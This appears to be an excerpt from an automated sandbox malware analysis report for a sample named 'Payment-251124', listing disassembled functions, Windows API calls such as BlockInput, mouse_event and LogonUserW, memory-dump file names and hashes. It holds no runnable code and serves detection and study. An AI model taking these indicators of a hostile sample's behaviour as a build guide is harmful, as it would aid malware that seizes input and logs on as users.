                                                        Function 00EE81AC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • SetUnhandledExceptionFilter.KERNEL32(00000000,0000000E,00EE6DB3,-0000031A,?,?,00000001), ref: 00EE81B1
                                                        • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00EE81BA
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ExceptionFilterUnhandled
                                                        • String ID:
                                                        • API String ID: 3192549508-0
                                                        • Opcode ID: 71c117f56979f8adf4b0f7f56ebd3791efa72b550ea77fee63518caa87378a27
                                                        • Instruction ID: 3695d3937f3832af7371fc8bb60b87499015feb982e037c372f1c284ee8cb1e3
                                                        • Opcode Fuzzy Hash: 71c117f56979f8adf4b0f7f56ebd3791efa72b550ea77fee63518caa87378a27
                                                        • Instruction Fuzzy Hash: 72B0923514460CABDB002FA1EC09B687FA8EB1AA52F008010FA0D440618B735410AAA2
                                                        Function 00EC77B0 Relevance: 2.6, APIs: 1, Instructions: 1076COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _memmove
                                                        • String ID:
                                                        • API String ID: 4104443479-0
                                                        • Opcode ID: ecefc1028d82186d8c9933e1c254bf9f509cd8f7b8499594fc11066dcb278047
                                                        • Instruction ID: 9addcac590d44f0cead6828a688addf66de4f8ee89dcc13a5d8d8e366f93f3e2
                                                        • Opcode Fuzzy Hash: ecefc1028d82186d8c9933e1c254bf9f509cd8f7b8499594fc11066dcb278047
                                                        • Instruction Fuzzy Hash: 14A24971D04219CFCB24CF58C580BADBBB1BF48324F2591A9E899AB391D7359E82DF50
                                                        Function 00ED3B70 Relevance: 2.2, Strings: 1, Instructions: 903COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Exception@8Throwstd::exception::exception
                                                        • String ID: @
                                                        • API String ID: 3728558374-2766056989
                                                        • Opcode ID: e574b7450160f182d2d3e8938133122cbd1f722b2d115efc11855039ad45c313
                                                        • Instruction ID: 3bf4de4bf45e490d11331001f7f1feec5046073903676ad9cb0592739c36ab93
                                                        • Opcode Fuzzy Hash: e574b7450160f182d2d3e8938133122cbd1f722b2d115efc11855039ad45c313
                                                        • Instruction Fuzzy Hash: AB72C071E042089FCF24EFA4C881AEEB7B5EF44314F14905AE905BB391D735AE46DB92
                                                        Function 00EED1B9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a57953265b8d89b910c2b48006e914ba1640194af288663c0c80157793e09271
                                                        • Instruction ID: 93dbd655782e0fcc101f243573021981f448a41a9c4a1a0fc5af91c0356e10a4
                                                        • Opcode Fuzzy Hash: a57953265b8d89b910c2b48006e914ba1640194af288663c0c80157793e09271
                                                        • Instruction Fuzzy Hash: F5326621D28F894DD7239635DC22335A688EFB73C5F15E737E819B59AAEB29C4C35100
                                                        Function 00EC96C0 Relevance: 2.1, APIs: 1, Instructions: 573COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __itow__swprintf
                                                        • String ID:
                                                        • API String ID: 674341424-0
                                                        • Opcode ID: b1532df2b009fbbe47adf58aac9b9489c8b6978e5bc418dbe8a5420e52b4cab0
                                                        • Instruction ID: ffc22e4baf205105643d12cd71bae0101fb06022094d81ae1fdefa03eb97cb5a
                                                        • Opcode Fuzzy Hash: b1532df2b009fbbe47adf58aac9b9489c8b6978e5bc418dbe8a5420e52b4cab0
                                                        • Instruction Fuzzy Hash: 7922AC715083019FD724DF14C995BAFB7E4EF84314F10591EF89AAB292DB32E946CB82
                                                        Function 00EF038E Relevance: 1.8, APIs: 1, Instructions: 294COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: ee8571d64ab721c99f28c2364bfbde3ac48e19443c63dce9a2f686922cc77c9b
                                                        • Instruction ID: 318aa3072a15e0212ca69a3b68c7d48b6887c3d3f06a0576ac541fa16842d165
                                                        • Opcode Fuzzy Hash: ee8571d64ab721c99f28c2364bfbde3ac48e19443c63dce9a2f686922cc77c9b
                                                        • Instruction Fuzzy Hash: 57B11120D2AF454DD22396388831337B65CAFBB6D6F92D71BFD2B74D62EB2181835180
                                                        Function 00F0B6CC Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __time64.LIBCMT ref: 00F0B6DF
                                                          • Part of subcall function 00EE344A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00F0BDC3,00000000,?,?,?,?,00F0BF70,00000000,?), ref: 00EE3453
                                                          • Part of subcall function 00EE344A: __aulldiv.LIBCMT ref: 00EE3473
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Time$FileSystem__aulldiv__time64
                                                        • String ID:
                                                        • API String ID: 2893107130-0
                                                        • Opcode ID: 28965d7d9d5ea0927e7a0a12a52bc5390c5d9a078d78658b2b6825129b0b9da8
                                                        • Instruction ID: 48281c7e77408cbd06b45d8ff82d68938d719bb7137bf64da670acfe4ce5ac1e
                                                        • Opcode Fuzzy Hash: 28965d7d9d5ea0927e7a0a12a52bc5390c5d9a078d78658b2b6825129b0b9da8
                                                        • Instruction Fuzzy Hash: A221B472634510CBC729CF38C881A96B7E1EB95720B248E7DE4E5CB2D0CB74B905EB54
                                                        Function 00F16AAF Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • BlockInput.USER32(00000001), ref: 00F16ACA
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: BlockInput
                                                        • String ID:
                                                        • API String ID: 3456056419-0
                                                        • Opcode ID: f7f7720c46e3942b6b4122542c9c34f4e1e8acc90d90316dfc968b28d4e54180
                                                        • Instruction ID: 83716bf50cd3078383e5c7aa7c731e2456a1722c25e8a5d433650869aa60ff5d
                                                        • Opcode Fuzzy Hash: f7f7720c46e3942b6b4122542c9c34f4e1e8acc90d90316dfc968b28d4e54180
                                                        • Instruction Fuzzy Hash: D5E012362102046FC700EB99D904E96B7ECAFB4761B05842AE945D7251DAB5E8449B90
                                                        Function 00F074E7 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 00F0750A
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: mouse_event
                                                        • String ID:
                                                        • API String ID: 2434400541-0
                                                        • Opcode ID: 707425740fa6a675dd5ddb0698e6a8718fcfcdb51c3e9c5f55927bf565df75a4
                                                        • Instruction ID: d8e0c2ecfd7ad7969b6f9f91d69e79dfedee0b7d0c3433f1fc305036a0996607
                                                        • Opcode Fuzzy Hash: 707425740fa6a675dd5ddb0698e6a8718fcfcdb51c3e9c5f55927bf565df75a4
                                                        • Instruction Fuzzy Hash: BED092A9E6C749B9EC29A7249C1FFF72A08F3017A1FD845C9B603D90C0A8E47D01B071
                                                        Function 00EFB106 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00EFAD3E), ref: 00EFB124
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: LogonUser
                                                        • String ID:
                                                        • API String ID: 1244722697-0
                                                        • Opcode ID: ed87a7666999a3aaae99fc15df4acd20ef29c961ec27c1202701765c589f488c
                                                        • Instruction ID: 8c2ed103e05d066ecde6b59726ee84da3e28f83755d9f66a204562e6d3abfa40
                                                        • Opcode Fuzzy Hash: ed87a7666999a3aaae99fc15df4acd20ef29c961ec27c1202701765c589f488c
                                                        • Instruction Fuzzy Hash: 7BD05E321A460EAEDF024FA4DC02EAE3F6AEB04700F408110FA11C60A0C671D531AB50
                                                        Function 00F3B340 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: NameUser
                                                        • String ID:
                                                        • API String ID: 2645101109-0
                                                        • Opcode ID: 190f9db2a005aa6f8b3e211be7e510e9fb35be5e45ad3b867faa1b03e142997d
                                                        • Instruction ID: ef951930665592fb499e5794f9ef21164cd4da69dd8a41c70d36efef67996255
                                                        • Opcode Fuzzy Hash: 190f9db2a005aa6f8b3e211be7e510e9fb35be5e45ad3b867faa1b03e142997d
                                                        • Instruction Fuzzy Hash: 42C04CB240010DDFC751CBC4C944AEEB7BCAB04301F1050919145F2110D7749B45AB72
                                                        Function 00EE8189 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetUnhandledExceptionFilter.KERNEL32(?), ref: 00EE818F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ExceptionFilterUnhandled
                                                        • String ID:
                                                        • API String ID: 3192549508-0
                                                        • Opcode ID: 239137ad1c0aa56ade477f51d24f1d875a73a6dd7e156293d9dae8c9e43325ad
                                                        • Instruction ID: 6e32eadadeeaec763d4b86230bf21f0317e546423503a1fa6fa8c258b371d563
                                                        • Opcode Fuzzy Hash: 239137ad1c0aa56ade477f51d24f1d875a73a6dd7e156293d9dae8c9e43325ad
                                                        • Instruction Fuzzy Hash: D3A0223000020CFBCF002F82FC088A83FACFB022A0B000020FC0C00030CB33A820AAE2
                                                        Function 00ECE3B0 Relevance: .5, Instructions: 540COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 58f033c0e186830acf5e64f138060951b6c70f4790cec3993ac0440a471349c8
                                                        • Instruction ID: d7732f7999e4b3f82fc369603baa1eb703cfc2e789a0d88e0ac6cce96e0f3dd7
                                                        • Opcode Fuzzy Hash: 58f033c0e186830acf5e64f138060951b6c70f4790cec3993ac0440a471349c8
                                                        • Instruction Fuzzy Hash: 4822ABB1A042058FDB24DF58C590FAAB7F0FF18314F14916EE956AB351E336AD82CB91
                                                        Function 00EC93F0 Relevance: .5, Instructions: 531COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 32d67a35f5bb3e849745420a297b2239124c9022a1a04feb66551ae1fe28039e
                                                        • Instruction ID: de4bf498510290b2cce4e68a6b1bd3d50cb3a1158d49a16483ee5a29233ded94
                                                        • Opcode Fuzzy Hash: 32d67a35f5bb3e849745420a297b2239124c9022a1a04feb66551ae1fe28039e
                                                        • Instruction Fuzzy Hash: 94128B70A006099FDF04DFA4DA85AEEB7F5FF48310F205569E806F7291EB36A912DB50
                                                        Function 00ECAF50 Relevance: .5, Instructions: 514COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Exception@8Throwstd::exception::exception
                                                        • String ID:
                                                        • API String ID: 3728558374-0
                                                        • Opcode ID: ff2f13d0791d1a453c57654c9699dd056355d7ecf45f356e3eefe1b0d76483c0
                                                        • Instruction ID: 6537894fb4703ac27468fef8b3ff31efbeb4e9ce3c353e0420b84e43f1857811
                                                        • Opcode Fuzzy Hash: ff2f13d0791d1a453c57654c9699dd056355d7ecf45f356e3eefe1b0d76483c0
                                                        • Instruction Fuzzy Hash: 5902B070A00209DBCF44DF68D992BAEB7F5EF44310F149069E806EB395EB35DA12DB91
                                                        Function 00EE02A4 Relevance: .3, Instructions: 345COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
                                                        • Instruction ID: 14f935f7d44ee054c3379d828e6c171f1751d03394900a703499e9ed4e667ba4
                                                        • Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
                                                        • Instruction Fuzzy Hash: A2C10A322051E70ADF2D863AD43043EFBA19E917B931A276ED8B3DB5D1EF60C564D620
                                                        Function 00EE06D9 Relevance: .3, Instructions: 341COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
                                                        • Instruction ID: 443ef35ffcc459ffc036aa918215926a08ffe182bfecddcffffa115e8e09aac7
                                                        • Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
                                                        • Instruction Fuzzy Hash: 7AC10A322051E709DF1D863AD43443EFBA19E927B931A276ED8B3EB1D5EF20C564D610
                                                        Function 00EDFE6F Relevance: .3, Instructions: 331COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
                                                        • Instruction ID: 6ec6b75ce16c81562bc63065477342121322134141204572aebec7e85d7b9842
                                                        • Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
                                                        • Instruction Fuzzy Hash: EBC1D8322051E709DF2D863AC43443EBBA19AA27B931A277ED8B3DF6D1EF10C565D610
                                                        Function 00EDFA57 Relevance: .3, Instructions: 323COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                        • Instruction ID: 2c1ecab7a10760d61b8158d5ac136d15ccd7d12b7e34c2dffdb3dd4085039be1
